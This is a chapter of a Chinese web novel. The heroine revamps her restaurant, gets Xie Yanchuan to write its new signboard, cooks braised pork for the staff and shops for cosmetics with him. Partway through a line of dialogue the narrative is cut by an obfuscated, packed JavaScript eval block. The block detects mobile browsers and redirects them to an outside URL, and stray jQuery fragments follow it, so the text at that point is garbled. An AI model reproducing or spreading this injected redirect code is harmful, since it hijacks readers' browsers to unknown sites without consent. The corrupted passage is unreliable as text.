4.红烧肉
作品:《吉食已到》 姜初衿已然把躺椅当成了自己的小窝,一闲下来就窝在那晒太阳。
人一闲下来就想干点莫名其妙的事,目前醉春楼生意暂时稳定,但其他酒楼竞争十分激烈,单靠一时之计并不能彻底站稳脚跟。
环顾一周后,姜初衿决定把酒楼翻新一番,说干就干,她干劲十足。
姜初衿:“赵大哥,今天下午不营业了!”
“我们把酒楼翻新一下。”
赵亮虽然不明白姜初衿要搞什么,但还是顺从地点点头,他现在对她有莫名地信任,毕竟在之前他也是知道醉春楼生意有多惨淡。
姜初衿指挥着,让人把一楼那些乱七八糟的东西撤了下去,按照印象里饭店的安置风格,把所有桌椅都摆放的整然有序。
她嘴里叼着自制的麦芽糖,含糊不清开口:“谢宴川,你站那干什么?”
谢宴川倚着楼梯,看着姜初衿神采奕奕指挥众人的模样,忍不住乐,猛地听见自己的名字,喉头一滚,咳嗽起来。
谢宴川:“小姜老板…咳咳…我恐怕是病还未好。”
姜初衿咬碎嘴里的糖,嘎嘣嘎嘣的,闻言翻了个白眼:“你那伤早就好了,装什么?”
谢宴川:“我这不是得了伤寒嘛。”
谢宴川住的房间,窗户年久失修,这几夜晚上狂风四起,窗户摇摇欲坠,他早上起来总是咳嗽个不停。
姜初衿冲他挥挥拳头:“要不要试试我的拳头。”
“沙包大的拳头。”
她默默补充。
谢宴川乐个不停,一时不察,被自己的口水呛到,咳嗽个不停。
姜初衿乐开怀,谢宴川抬眼,在原地有些怔愣。
她今日穿了身绿裙子,裙摆飘逸,眉眼间带着笑意,眼睛发亮,目不转睛地盯着他,谢宴川面上一热,忍不住扭过脸闷咳。
最终谢宴川还是屈服在姜初衿沙包大的拳头下,嘴角噙着笑,一边乐一边帮赵亮春满他们搬桌子。
醉春楼这三个字,还是原主父亲随便找人写的,姜初衿思索一番决定换了重写一个牌匾。
她把视线转向身边的人,谢宴川这配置看起来就像是小说里温润如玉的公子哥,写个毛笔字应该不在话下吧?
莫名被盯着的谢宴川:“……”
姜初衿:“书法会吗?”
谢宴川:“略懂一二。”
姜初衿满意地点点头,扭头吩咐春满:“把我爹的笔墨纸砚拿来。”
谢宴川捏着毛笔,他的指节修长,骨节分明,手背上还有一道难以忽略地伤痕,青筋凸显,瞧着极其有力。
一笔落下,遒劲有力。
姜初衿忍不住吹了口哨:“谢宴川,你字还挺好看的。”
谢宴川冷不丁一抖,笔尖滴落一滴墨汁。
姜初衿只顾着看字,没看到他眼底闪过的一丝迷茫。
他好像对姜初衿太过关注了。
姜初衿没在意他的怔愣,差人将新牌匾挂上后,掐着腰一脸神气。
她大手一挥:“晚上我做饭。”
“好耶!”春满积极捧场,“小姐下厨,我们有口福了。”
……
姜初衿在现代时就爱做饭,但她从小是个孤儿,长大后朋友也不多,每次做完饭也都只有她自己一个人捧场。
为了犒劳大家,她打算做几道重头菜。
第一道是红烧肉,将肥瘦相间的五花肉切块,没有料酒,只放了些葱姜去腥,在煸出油后,放入糖块,炒出糖色,大火翻炒。
被熏的有些眼涩,姜初衿不住地揉眼睛,有些怀念现代的抽油烟机,恐怕过不了几日,她就要变成黄脸婆了。
眼前的烟气淡了几分,她扭头看过去,谢宴川拿了把蒲扇,站在一旁面无表情的扇风。
被熏的难受,姜初衿只好加大火力,速战速决,不出两柱香时间,所有的菜都被端上桌。
一道红烧肉,酱焖猪蹄、醋溜鱼,还有她改良过的饭后小甜点。
姜初衿擦着头上的汗,笑着示意大家吃,“快吃呀,愣着干什么?”
谢宴川递给她一双筷子,闷声闷气:“一起吃。”
盘子里的红烧肉色泽鲜亮,勾的人不住的吞咽口水,将红烧肉送入口中那一刻,谢宴川恨不得连舌头也吞进胃里。
牙齿一咬,肥肉入嘴即化,油脂香四溢,口腔里全是肉香,虽是肥肉却不油腻,更别提姜初衿用的是上好的五花肉,肥瘦相间,瘦肉口感紧致却不柴,肥肉与瘦肉一起在嘴里迸发出香味。
姜初矜:“怎么样?好不好吃?”
谢宴川看着她眼底映出自己的带笑的眉眼,像是被灼烧了一般,愣愣地开口:“好吃。”
姜初矜啧了一声,扭头对赵亮说:“赵大哥你尝尝这个猪蹄怎么样!”
赵亮笑着应下,眼疾手快地夹了一筷子,猪蹄炖的酥烂,皮滑肉嫩,汤汁浓郁,饶是做了半辈子厨子的赵亮也忍不住竖起大拇指:“香!太香了!”
姜初矜端着脸,催促大家不要客气:“都快吃,不要客气啊,我们都是一家人,有什么好推脱的,敞开了吃。”
春满腮帮子鼓鼓地,端着饭翁声翁气说道:“小姐你怎么不吃啊?”
姜初矜摸了摸肚子,有些好笑,来古代一时放纵,感觉胖了好几斤。
姜初矜:“我减肥。”
“减肥?”谢宴川咽下嘴里的饭,忍不住打量起姜初矜。
谢宴川:“你又不胖。”
姜初矜伸出一根手指在他眼前晃了晃:“NONO你根本不懂女生的心思。”
谢宴川呛了一下,忍不住闷咳,暗自诽腹,他常年领兵打仗,怎么会懂女人家心思,他又不是那些花天酒地的公子哥。
春满:“小姐,你是有心仪的人了吗?”
姜初衿:“没有啊。”
不知为何,听见姜初矜毫不犹豫的回答,谢宴川莫名的觉得心里堵得慌,可能是今天饭吃多了,他忍不住想。
春满:“那为何,突然要减肥?”
姜初矜笑着捏了捏她鼓起的脸,有些好笑:“谁说女子减肥是为了嫁人的。”
“女为悦己者容知道吗?”
“为了取悦自己才梳妆打扮。”
“同理,减肥也是我自己想变好嘛。”
春满似懂非懂地点点头:“小姐说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467333|169294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的对!”
谢宴川忍不住看向姜初矜,对上她亮晶晶的眸子,忍着扭头的冲动,下意识夹了一筷子菜。
姜初矜:“哎…”
入口的辛辣成功让谢宴川咳嗽起来,姜初矜彻底绷不住了。
姜初矜:“哈哈哈哈哈哈,谢宴川。”
谢宴川满脸通红,哪有运筹帷幄的姿态,要让他那些手下看见了,一定惊掉下巴。
谢宴川:“咳咳,我…”
为了庆祝酒楼翻新,赵亮还专门带了一蛊陈酒,一揭盖,酒香扑鼻而来。
姜初矜有些跃跃欲试。
“赵大哥,好喝吗?”
赵亮眯着眼,脸色通红,闻言咂吧咂吧嘴:“这酒啊,真是越喝越有。”他特意拖长腔调,彻底让姜初矜馋个不行。
端着酒杯,小口抿着,入口是果子的清香,咽下后阵阵酒香袭来,姜初矜忍不住也眯着眼,品起酒来。
在现代,她当博主免不了场面应酬,每次都差点被灌的醉醺醺的,幸好有个助理帮她挡酒。
谢宴川在塞外常喝的都是些烈酒,一时喝些果酒,有些不适应。
四个人都端着酒杯,窝在各自位置上。
姜初矜忍不住感叹,其实这样也挺好,虽然没有手机WIFI,但一群人吃吃喝喝倒也快活。
生活啊,真是咪咪又喵喵啊,冷不丁想到在小红书看到的这句话,姜初矜笑出声。
……
姜初矜揽了揽衣服,余光瞄着身旁的人,两人四目相对,后者急匆匆挪开视线。
吃完饭姜初矜说想消消食,还没等春满说话,谢宴川倒是开口:“我陪你去。”
于是两人就这样稀里糊涂的出了酒楼,一路无言。
谢宴川脑子里胡思乱想,对上姜初矜的眼神,又败下阵来。
她这人,怎么看谁都一副欢喜的模样,真是……真是的……
姜初矜不懂他的弯弯绕绕,伸了个懒腰。
路过一家脂粉店,谢宴川停下脚步,姜初矜狐疑地投去视线。
姜初矜:“怎么了?”
“想买来送给心上人?”
谢宴川话梗在喉间,脸色发红,又想不出反驳的话,心上人?虽然他还没确定自己的心意,不过…谢宴川瞄了一眼她专注的眼神,也能说的过去。
谢宴川:“给你买的?”
姜初矜脑子宕机了一下,有些结巴:“给…给我买?”
谢宴川:“在做饭的时候,你不是一直在摸脸吗?”
“被油烟熏久了容易破坏皮肤,我便想着给你买些脂粉。”
姜初矜胡乱点头:“哦哦,谢谢啊。”
吓她一跳,差点以为谢宴川对她有意思,自恋了哈。
谢宴川闷声闷气:“不客气。”
“我有钱,你可以随便选。”
姜初矜勾了勾唇:“那就谢谢小谢了!”
谢宴川摆摆手,面无表情开口:“没关系。”发红的耳廓暴露了一切。
姜初矜有些好笑,这人怎么动不动就脸红,也不怪她会多想。
只不过她现在对情情爱爱不感兴趣,搞钱才是正道。